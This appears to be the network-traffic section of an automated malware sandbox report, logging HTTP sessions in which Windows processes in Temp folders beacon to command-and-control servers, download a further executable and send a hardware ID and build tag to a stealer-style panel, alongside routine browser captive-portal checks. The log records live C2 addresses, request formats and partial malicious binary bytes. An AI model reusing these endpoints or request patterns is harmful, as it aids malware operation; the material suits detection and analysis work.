Nov 21, 2024 03:10:36.987798929 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 30999 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:10:37.029922962 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:10:37.362862110 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31000 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:10:40.497169018 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:10:40.830576897 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31003 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:10:50.937114954 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50107	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:35.934931993 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:10:37.348634005 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:10:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50119	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:39.115374088 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:10:40.516191006 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:10:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50127	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:42.207034111 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:10:43.595875978 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:10:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50135	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:45.330652952 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:10:46.761506081 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:10:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50137	185.215.113.16	80	4612	C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:45.726833105 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 21, 2024 03:10:47.101886988 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:10:46 GMT Content-Type: application/octet-stream Content-Length: 1908736 Last-Modified: Thu, 21 Nov 2024 02:02:29 GMT Connection: keep-alive ETag: "673e94b5-1d2000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 60 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf`K@K34@WkH8OKNK @.rsrcH@.idata @ *@pykcxpucP1@hqudcphwPK@.taggant0`K"@
Nov 21, 2024 03:10:47.101960897 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:10:47.102550983 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:10:47.102633953 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:10:47.102648020 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:10:47.102782011 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:10:47.102798939 CET	1236	IN	Data Raw: 05 c5 e9 86 04 b3 94 e8 8a 16 c4 71 06 aa af 9d c3 f6 c3 e5 15 29 e8 89 56 38 09 b7 48 02 a6 24 17 a6 93 a8 ff 32 22 b6 14 fa c5 a7 83 5a a4 a5 d2 28 95 b5 bc 0a d1 dd 23 66 f1 ff 84 f6 8b 68 b1 16 d3 c1 fc 76 c6 ab 43 5a c4 65 05 a9 3e 58 4d e6 Data Ascii: q)V8H$2"Z(#fhvCZe>XM-}85Z%i!^q\|ahX#PdT)~%Q'y.7$Et1(_}ZHVU/7W%iFY^e/}DyG7
Nov 21, 2024 03:10:47.102814913 CET	248	IN	Data Raw: 28 52 73 69 d0 9e d0 79 ba ce 7a 36 bf e5 d8 35 bc dc be 09 fa c6 bf c5 5a 95 58 3e a8 0c 97 5b 9d 23 7e 95 6a df 47 a9 c1 34 86 18 a1 ee 72 38 f9 b7 a4 e5 80 c7 e7 02 09 1c 86 c5 2a 71 ed ec 34 ee 89 f8 b4 f8 69 d2 c5 4f bb 9e 52 06 10 03 36 bb Data Ascii: (Rsiyz65ZX>[#~jG4r8q4iOR6Iw:2j.-39-C9N6%1`jF2luW_,E}{=R?HS'&}R/\|\|?x}U_AXwxD<E:ie>:9}3I
Nov 21, 2024 03:10:47.102910042 CET	1236	IN	Data Raw: 38 e9 e9 a7 e9 1e 4c 69 37 d8 c1 21 a1 5b 8a 31 fa 52 1a 9a 0f 59 51 75 77 66 49 66 04 39 43 fa 69 eb 5c 7c e7 e6 90 8c 72 de d0 02 fe ee 7a 44 55 0d 81 ab 54 da 8b a2 0a 07 cb 7e 36 fd 01 32 0d 18 95 0e 21 56 d6 4c 8d 5c c6 b8 9e a6 62 61 06 a2 Data Ascii: 8Li7![1RYQuwfIf9Ci\\|rzDUT~62!VL\ba>uM_7!w86vjz[Fe {sn%>G&2b\}SiL__D8.Do~SUIglh`
Nov 21, 2024 03:10:47.103024006 CET	1236	IN	Data Raw: 52 d5 19 bc 2e 76 74 35 52 64 59 46 5a 17 43 e8 a4 8a f4 a8 c0 ea c7 01 8c 38 41 e2 f6 84 29 aa a2 b6 c8 ad 75 de d4 cb 4b 08 c7 6a d5 d3 b5 05 99 4b d1 a3 7b d7 58 00 e5 d5 6d 7d 6b 3e 35 31 fe 0c 93 32 6d 1a f3 05 04 be 1c 0d 86 6c 2e 94 ad cf Data Ascii: R.vt5RdYFZC8A)uKjK{Xm}k>512ml.4<z&j(}J96_arw/{0X2alzb\\tjzIyxi)])f5#F\|Pq8}C,OttJ6wi.f>sJL
Nov 21, 2024 03:10:47.221388102 CET	1236	IN	Data Raw: c6 4a c1 56 d6 d8 dd 72 0b f7 0c b8 8d a6 e7 02 e3 1c 82 93 42 61 d7 37 46 28 6a 02 5d 97 49 7d 85 d6 c3 bc f8 f1 40 1e 3d b0 84 44 dd 30 c6 83 e9 5b a7 ac b5 78 76 b7 d1 21 8b 9f 53 73 62 ee 00 d9 4f ff 43 da df d4 de 99 fd 72 fb be cc a8 2a c0 Data Ascii: JVrBa7F(j]I}@=D0[xv!SsbOCr*=L4u\]_O\xX^F\|&5f0m2YsY7"(c?KGxY84{#1Y}0QTfwYMuf}m2.v69cS{(N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50141	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:48.409775972 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:10:49.816936970 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:10:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50144	185.215.113.206	80	4612	C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:51.044435978 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDAEGCAFIIDGDGCGIJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 2d 2d 0d 0a Data Ascii: ------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AKJDAEGCAFIIDGDGCGIJ--
Nov 21, 2024 03:10:52.937277079 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:10:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50145	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:51.564357996 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:10:53.012909889 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:10:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50150	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:54.979223013 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:10:56.346098900 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:10:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50151	185.215.113.206	80	7436	C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:55.030885935 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 03:10:56.339799881 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:10:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 03:10:56.361897945 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAKFBGCBFHIJKECGIIJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 4b 46 42 47 43 42 46 48 49 4a 4b 45 43 47 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 31 36 30 39 38 45 46 34 39 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 4b 46 42 47 43 42 46 48 49 4a 4b 45 43 47 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 4b 46 42 47 43 42 46 48 49 4a 4b 45 43 47 49 49 4a 2d 2d 0d 0a Data Ascii: ------HCAKFBGCBFHIJKECGIIJContent-Disposition: form-data; name="hwid"516098EF49F42681209724------HCAKFBGCBFHIJKECGIIJContent-Disposition: form-data; name="build"mars------HCAKFBGCBFHIJKECGIIJ--
Nov 21, 2024 03:10:56.813998938 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:10:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50154	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:58.096461058 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:10:59.480395079 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:10:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	50169	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:00.427572012 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:11:01.606107950 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31024 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:11:01.683794975 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:11:02.016813993 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 31024 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:11:02.059905052 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
